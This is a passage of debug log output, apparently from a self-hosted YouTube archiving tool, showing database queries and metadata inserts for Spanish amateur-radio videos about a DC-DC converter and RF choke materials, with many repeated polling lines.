video\n---------------------------------\n\n00:00 - Inicio\n00:38 - Intro Canal\n00:55 - De que estamos hablando\n03:19 - Caracteristicas\n06:42 - Planteamiento de 2 baterias en serie\n09:18 - Probando los cambios de tensión\n13:05 - Buscando interferencias\n15:27 - Seguimos buscando interferencias\n22:20 - Una solución a la interferencia\n24:24 - Conclusiones\n\n#wg8-40s13r830 #buckconverter #radioaficionados #hamradio #rcnun #414w #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "128 - CONVERSOR DC DC DE 8-40V A 13.8V 30 AMPERIOS PARA SU USO EN RADIOAFICIÓN", "518064b5-afeb-4983-9fea-0c03919f6c9e", 1670, false, "3tu2MW8b1Js", "https://www.youtube.com/watch?v=3tu2MW8b1Js", 53, "/downloads/music/ea3grn/128 - CONVERSOR DC DC DE 8-40V A 13.8V 30 AMPERIOS PARA SU USO EN RADIOAFICIÓN.m4a", false, false, false, 3, [], 98, ~U[2024-03-02 18:00:03Z], ~U[2026-02-07 21:40:56Z], ~U[2026-02-07 21:40:56Z], "He estado probando (gracias a la sugerencia de Jaime!) un conversor DC-DC que a partir de una tensión comprendida entre 8 y 40 voltios de entrada, nos da 13.8 voltios estabilizados y hasta un máximo de 30 amperios (no continuos, yo recomiendo no exceder los 20 amperios).\n\nLo hay en múltiples tipos y este en concreto lo he adquirido en este enlace (no me gano nada):\n\nhttps://es.aliexpress.com/item/32897068247.html (seleccionar el modelo adecuado).\n\nEspero lo encontreis interesante !\n\nContenido del video\n---------------------------------\n\n00:00 - Inicio\n00:38 - Intro Canal\n00:55 - De que estamos hablando\n03:19 - Caracteristicas\n06:42 - Planteamiento de 2 baterias en serie\n09:18 - Probando los cambios de tensión\n13:05 - Buscando interferencias\n15:27 - Seguimos buscando interferencias\n22:20 - Una solución a la interferencia\n24:24 - Conclusiones\n\n#wg8-40s13r830 #buckconverter #radioaficionados #hamradio #rcnun #414w #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "128 - CONVERSOR DC DC DE 8-40V A 13.8V 30 AMPERIOS PARA SU USO EN RADIOAFICIÓN", 1670, false, "3tu2MW8b1Js", "https://www.youtube.com/watch?v=3tu2MW8b1Js", "/downloads/music/ea3grn/128 - CONVERSOR DC DC DE 8-40V A 13.8V 30 AMPERIOS PARA SU USO EN RADIOAFICIÓN.m4a", false, 3, ~U[2024-03-02 18:00:03Z]] 22:40:56.821 [debug] QUERY OK source="sources" db=0.6ms idle=57.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:40:56.822 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:40:56.822 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1403] 22:40:56.823 [debug] Current batch of media processed. Will check again in 1000ms 22:40:57.748 [debug] Current batch of media processed. Will check again in 1000ms 22:40:57.823 [debug] Current batch of media processed. Will check again in 1000ms 22:40:58.749 [debug] Current batch of media processed. Will check again in 1000ms 22:40:58.824 [debug] Current batch of media processed. Will check again in 1000ms 22:40:59.750 [debug] Current batch of media processed. Will check again in 1000ms 22:40:59.825 [debug] Current batch of media processed. Will check again in 1000ms 22:41:00.123 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:00.751 [debug] Current batch of media processed. Will check again in 1000ms 22:41:00.826 [debug] Current batch of media processed. Will check again in 1000ms 22:41:01.752 [debug] Current batch of media processed. Will check again in 1000ms 22:41:01.827 [debug] Current batch of media processed. Will check again in 1000ms 22:41:02.753 [debug] Current batch of media processed. Will check again in 1000ms 22:41:02.828 [debug] Current batch of media processed. Will check again in 1000ms 22:41:03.754 [debug] Current batch of media processed. Will check again in 1000ms 22:41:03.829 [debug] Current batch of media processed. Will check again in 1000ms 22:41:04.755 [debug] Current batch of media processed. Will check again in 1000ms 22:41:04.830 [debug] Current batch of media processed. Will check again in 1000ms 22:41:05.756 [debug] Current batch of media processed. Will check again in 1000ms 22:41:05.831 [debug] Current batch of media processed. Will check again in 1000ms 22:41:06.757 [debug] Current batch of media processed. Will check again in 1000ms 22:41:06.832 [debug] Current batch of media processed. Will check again in 1000ms 22:41:07.758 [debug] Current batch of media processed. Will check again in 1000ms 22:41:07.833 [debug] Current batch of media processed. Will check again in 1000ms 22:41:08.759 [debug] Current batch of media processed. Will check again in 1000ms 22:41:08.834 [debug] Current batch of media processed. Will check again in 1000ms 22:41:09.760 [debug] Current batch of media processed. Will check again in 1000ms 22:41:09.835 [debug] Current batch of media processed. Will check again in 1000ms 22:41:10.761 [debug] Current batch of media processed. Will check again in 1000ms 22:41:10.836 [debug] Current batch of media processed. Will check again in 1000ms 22:41:11.762 [debug] Current batch of media processed. Will check again in 1000ms 22:41:11.837 [debug] Current batch of media processed. Will check again in 1000ms 22:41:12.763 [debug] Current batch of media processed. Will check again in 1000ms 22:41:12.838 [debug] Current batch of media processed. Will check again in 1000ms 22:41:13.764 [debug] Current batch of media processed. Will check again in 1000ms 22:41:13.839 [debug] Current batch of media processed. Will check again in 1000ms 22:41:14.765 [debug] Current batch of media processed. Will check again in 1000ms 22:41:14.840 [debug] Current batch of media processed. Will check again in 1000ms 22:41:15.766 [debug] Current batch of media processed. Will check again in 1000ms 22:41:15.841 [debug] Current batch of media processed. Will check again in 1000ms 22:41:16.767 [debug] Current batch of media processed. Will check again in 1000ms 22:41:16.842 [debug] Current batch of media processed. Will check again in 1000ms 22:41:17.768 [debug] Current batch of media processed. Will check again in 1000ms 22:41:17.843 [debug] Current batch of media processed. Will check again in 1000ms 22:41:18.769 [debug] Current batch of media processed. Will check again in 1000ms 22:41:18.844 [debug] Current batch of media processed. Will check again in 1000ms 22:41:19.770 [debug] Current batch of media processed. Will check again in 1000ms 22:41:19.845 [debug] Current batch of media processed. Will check again in 1000ms 22:41:20.771 [debug] Current batch of media processed. Will check again in 1000ms 22:41:20.846 [debug] Current batch of media processed. Will check again in 1000ms 22:41:21.250 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:21.772 [debug] Current batch of media processed. Will check again in 1000ms 22:41:21.847 [debug] Current batch of media processed. Will check again in 1000ms 22:41:22.773 [debug] Current batch of media processed. Will check again in 1000ms 22:41:22.848 [debug] Current batch of media processed. Will check again in 1000ms 22:41:23.774 [debug] Current batch of media processed. Will check again in 1000ms 22:41:23.849 [debug] Current batch of media processed. Will check again in 1000ms 22:41:24.775 [debug] Current batch of media processed. Will check again in 1000ms 22:41:24.850 [debug] Current batch of media processed. Will check again in 1000ms 22:41:25.776 [debug] Current batch of media processed. Will check again in 1000ms 22:41:25.851 [debug] Current batch of media processed. Will check again in 1000ms 22:41:26.777 [debug] Current batch of media processed. Will check again in 1000ms 22:41:26.852 [debug] Current batch of media processed. Will check again in 1000ms 22:41:27.778 [debug] Current batch of media processed. Will check again in 1000ms 22:41:27.853 [debug] Current batch of media processed. Will check again in 1000ms 22:41:28.779 [debug] Current batch of media processed. Will check again in 1000ms 22:41:28.854 [debug] Current batch of media processed. Will check again in 1000ms 22:41:29.780 [debug] Current batch of media processed. Will check again in 1000ms 22:41:29.855 [debug] Current batch of media processed. Will check again in 1000ms 22:41:30.781 [debug] Current batch of media processed. Will check again in 1000ms 22:41:30.856 [debug] Current batch of media processed. Will check again in 1000ms 22:41:31.782 [debug] Current batch of media processed. Will check again in 1000ms 22:41:31.857 [debug] Current batch of media processed. Will check again in 1000ms 22:41:32.783 [debug] Current batch of media processed. Will check again in 1000ms 22:41:32.858 [debug] Current batch of media processed. Will check again in 1000ms 22:41:33.785 [debug] Current batch of media processed. Will check again in 1000ms 22:41:33.859 [debug] Current batch of media processed. Will check again in 1000ms 22:41:34.786 [debug] Current batch of media processed. Will check again in 1000ms 22:41:34.860 [debug] Current batch of media processed. Will check again in 1000ms 22:41:35.787 [debug] Current batch of media processed. Will check again in 1000ms 22:41:35.861 [debug] Current batch of media processed. Will check again in 1000ms 22:41:36.788 [debug] Current batch of media processed. Will check again in 1000ms 22:41:36.862 [debug] Current batch of media processed. Will check again in 1000ms 22:41:37.789 [debug] Current batch of media processed. Will check again in 1000ms 22:41:37.863 [debug] Current batch of media processed. Will check again in 1000ms 22:41:38.790 [debug] Current batch of media processed. Will check again in 1000ms 22:41:38.864 [debug] Current batch of media processed. Will check again in 1000ms 22:41:39.792 [debug] Current batch of media processed. Will check again in 1000ms 22:41:39.865 [debug] Current batch of media processed. Will check again in 1000ms 22:41:40.794 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "intento 3", "duration" => 3432, "filename" => "/downloads/music/IA mí QUÉ/IAMIQUE - ED1 - NotebookLM.m4a", "id" => "fSIe3nsNRAU", "live_status" => "was_live", "original_url" => "https://www.youtube.com/watch?v=fSIe3nsNRAU", "playlist_index" => 2, "timestamp" => 1758266082, "title" => "IAMIQUE - ED1 - NotebookLM", "upload_date" => "20250919"} 22:41:40.795 [debug] QUERY OK source="sources" db=0.4ms idle=568.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:41:40.797 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=29.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:41:40.798 [debug] QUERY OK source="media_items" db=0.7ms idle=30.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-19 07:14:42Z], 2] 22:41:40.800 [debug] QUERY OK source="media_items" db=1.0ms idle=32.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["intento 3", "IAMIQUE - ED1 - NotebookLM", "67755efd-d162-4186-a1ac-7225d52695c9", 3432, true, "fSIe3nsNRAU", "https://www.youtube.com/watch?v=fSIe3nsNRAU", 2, "/downloads/music/IA mí QUÉ/IAMIQUE - ED1 - NotebookLM.m4a", false, false, false, 2, [], 97, ~U[2025-09-19 07:14:42Z], ~U[2026-02-07 21:41:40Z], ~U[2026-02-07 21:41:40Z], "intento 3", "IAMIQUE - ED1 - NotebookLM", 3432, true, "fSIe3nsNRAU", "https://www.youtube.com/watch?v=fSIe3nsNRAU", "/downloads/music/IA mí QUÉ/IAMIQUE - ED1 - NotebookLM.m4a", false, 2, ~U[2025-09-19 07:14:42Z]] 22:41:40.801 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=33.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:41:40.802 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:41:40.803 [debug] QUERY OK source="media_items" db=0.5ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1365] 22:41:40.803 [debug] Current batch of media processed. Will check again in 1000ms 22:41:40.866 [debug] Current batch of media processed. Will check again in 1000ms 22:41:41.803 [debug] Current batch of media processed. Will check again in 1000ms 22:41:41.867 [debug] Current batch of media processed. Will check again in 1000ms 22:41:42.804 [debug] Current batch of media processed. Will check again in 1000ms 22:41:42.868 [debug] Current batch of media processed. Will check again in 1000ms 22:41:43.805 [debug] Current batch of media processed. Will check again in 1000ms 22:41:43.869 [debug] Current batch of media processed. Will check again in 1000ms 22:41:44.806 [debug] Current batch of media processed. Will check again in 1000ms 22:41:44.870 [debug] Current batch of media processed. Will check again in 1000ms 22:41:45.807 [debug] Current batch of media processed. Will check again in 1000ms 22:41:45.871 [debug] Current batch of media processed. Will check again in 1000ms 22:41:46.808 [debug] Current batch of media processed. Will check again in 1000ms 22:41:46.872 [debug] Current batch of media processed. Will check again in 1000ms 22:41:47.809 [debug] Current batch of media processed. Will check again in 1000ms 22:41:47.873 [debug] Current batch of media processed. Will check again in 1000ms 22:41:48.810 [debug] Current batch of media processed. Will check again in 1000ms 22:41:48.874 [debug] Current batch of media processed. Will check again in 1000ms 22:41:49.811 [debug] Current batch of media processed. Will check again in 1000ms 22:41:49.875 [debug] Current batch of media processed. Will check again in 1000ms 22:41:50.812 [debug] Current batch of media processed. Will check again in 1000ms 22:41:50.876 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "¿Que material es mejor para montar un choque de RF?\n\nUna aproximación experimental a que material escoger a la hora de montar un choque de RF para HF, y de paso hablamos de materiales, de permeabilidad, del nanoVNA y de algunas cosas.\n\nEspero os resulte interesante!\n\n#nanoVNA #choquerf #radioaficionados #hamradio #material31 #material77 #ft240-43 #ft240-31 #ft240-77 #ft240-52\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2044, "filename" => "/downloads/music/ea3grn/127 - COMO ESCOGER MATERIAL PARA MONTAR CHOQUE RF TIPOS DE TOROIDE MATERIAL 43 77 52 31 NANOVNA.m4a", "id" => "m_yk9-308cY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m_yk9-308cY", "playlist_index" => 54, "timestamp" => 1708805465, "title" => "127 - COMO ESCOGER MATERIAL PARA MONTAR CHOQUE RF TIPOS DE TOROIDE MATERIAL 43 77 52 31 NANOVNA", "upload_date" => "20240224"} 22:41:50.877 [debug] QUERY OK source="sources" db=0.5ms idle=630.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:41:50.878 [debug] QUERY OK source="sources" db=0.4ms idle=111.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:41:50.879 [debug] QUERY OK source="media_items" db=0.7ms idle=111.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-24 20:11:05Z], 3] 22:41:50.881 [debug] QUERY OK source="media_items" db=1.2ms idle=112.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["¿Que material es mejor para montar un choque de RF?\n\nUna aproximación experimental a que material escoger a la hora de montar un choque de RF para HF, y de paso hablamos de materiales, de permeabilidad, del nanoVNA y de algunas cosas.\n\nEspero os resulte interesante!\n\n#nanoVNA #choquerf #radioaficionados #hamradio #material31 #material77 #ft240-43 #ft240-31 #ft240-77 #ft240-52\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "127 - COMO ESCOGER MATERIAL PARA MONTAR CHOQUE RF TIPOS DE TOROIDE MATERIAL 43 77 52 31 NANOVNA", "1d9ab168-f832-40d8-9451-54c58c716fde", 2044, false, "m_yk9-308cY", "https://www.youtube.com/watch?v=m_yk9-308cY", 54, "/downloads/music/ea3grn/127 - COMO ESCOGER MATERIAL PARA MONTAR CHOQUE RF TIPOS DE TOROIDE MATERIAL 43 77 52 31 NANOVNA.m4a", false, false, false, 3, [], 98, ~U[2024-02-24 20:11:05Z], ~U[2026-02-07 21:41:50Z], ~U[2026-02-07 21:41:50Z], "¿Que material es mejor para montar un choque de RF?\n\nUna aproximación experimental a que material escoger a la hora de montar un choque de RF para HF, y de paso hablamos de materiales, de permeabilidad, del nanoVNA y de algunas cosas.\n\nEspero os resulte interesante!\n\n#nanoVNA #choquerf #radioaficionados #hamradio #material31 #material77 #ft240-43 #ft240-31 #ft240-77 #ft240-52\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "127 - COMO ESCOGER MATERIAL PARA MONTAR CHOQUE RF TIPOS DE TOROIDE MATERIAL 43 77 52 31 NANOVNA", 2044, false, "m_yk9-308cY", "https://www.youtube.com/watch?v=m_yk9-308cY", "/downloads/music/ea3grn/127 - COMO ESCOGER MATERIAL PARA MONTAR CHOQUE RF TIPOS DE TOROIDE MATERIAL 43 77 52 31 NANOVNA.m4a", false, 3, ~U[2024-02-24 20:11:05Z]] 22:41:50.881 [debug] QUERY OK source="sources" db=0.5ms idle=114.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:41:50.882 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:41:50.883 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1405] 22:41:50.883 [debug] Current batch of media processed. Will check again in 1000ms 22:41:51.251 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:51.813 [debug] Current batch of media processed. Will check again in 1000ms 22:41:51.883 [debug] Current batch of media processed. Will check again in 1000ms 22:41:52.814 [debug] Current batch of media processed. Will check again in 1000ms 22:41:52.884 [debug] Current batch of media processed. Will check again in 1000ms 22:41:53.815 [debug] Current batch of media processed. Will check again in 1000ms 22:41:53.885 [debug] Current batch of media processed. Will check again in 1000ms 22:41:54.816 [debug] Current batch of media processed. Will check again in 1000ms 22:41:54.886 [debug] Current batch of media processed. Will check again in 1000ms 22:41:55.817 [debug] Current batch of media processed. Will check again in 1000ms 22:41:55.887 [debug] Current batch of media processed. Will check again in 1000ms 22:41:56.818 [debug] Current batch of media processed. Will check again in 1000ms 22:41:56.888 [debug] Current batch of media processed. Will check again in 1000ms 22:41:57.819 [debug] Current batch of media processed. Will check again in 1000ms 22:41:57.889 [debug] Current batch of media processed. Will check again in 1000ms 22:41:58.820 [debug] Current batch of media processed. Will check again in 1000ms 22:41:58.890 [debug] Current batch of media processed. Will check again in 1000ms 22:41:59.821 [debug] Current batch of media processed. Will check again in 1000ms 22:41:59.891 [debug] Current batch of media processed. Will check again in 1000ms 22:42:00.124 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:00.822 [debug] Current batch of media processed. Will check again in 1000ms 22:42:00.894 [debug] Current batch of media processed. Will check again in 1000ms 22:42:01.823 [debug] Current batch of media processed. Will check again in 1000ms 22:42:01.894 [debug] Current batch of media processed. Will check again in 1000ms 22:42:02.824 [debug] Current batch of media processed. Will check again in 1000ms 22:42:02.895 [debug] Current batch of media processed. Will check again in 1000ms 22:42:03.825 [debug] Current batch of media processed. Will check again in 1000ms 22:42:03.896 [debug] Current batch of media processed. Will check again in 1000ms 22:42:04.826 [debug] Current batch of media processed. Will check again in 1000ms 22:42:04.897 [debug] Current batch of media processed. Will check again in 1000ms 22:42:05.827 [debug] Current batch of media processed. Will check again in 1000ms 22:42:05.898 [debug] Current batch of media processed. Will check again in 1000ms 22:42:06.828 [debug] Current batch of media processed. Will check again in 1000ms 22:42:06.899 [debug] Current batch of media processed. Will check again in 1000ms 22:42:07.829 [debug] Current batch of media processed. Will check again in 1000ms 22:42:07.900 [debug] Current batch of media processed. Will check again in 1000ms 22:42:08.830 [debug] Current batch of media processed. Will check again in 1000ms 22:42:08.901 [debug] Current batch of media processed. Will check again in 1000ms 22:42:09.831 [debug] Current batch of media processed. Will check again in 1000ms 22:42:09.902 [debug] Current batch of media processed. Will check again in 1000ms 22:42:10.832 [debug] Current batch of media processed. Will check again in 1000ms 22:42:10.903 [debug] Current batch of media processed. Will check again in 1000ms 22:42:11.833 [debug] Current batch of media processed. Will check again in 1000ms 22:42:11.904 [debug] Current batch of media processed. Will check again in 1000ms 22:42:12.834 [debug] Current batch of media processed. Will check again in 1000ms 22:42:12.905 [debug] Current batch of media processed. Will check again in 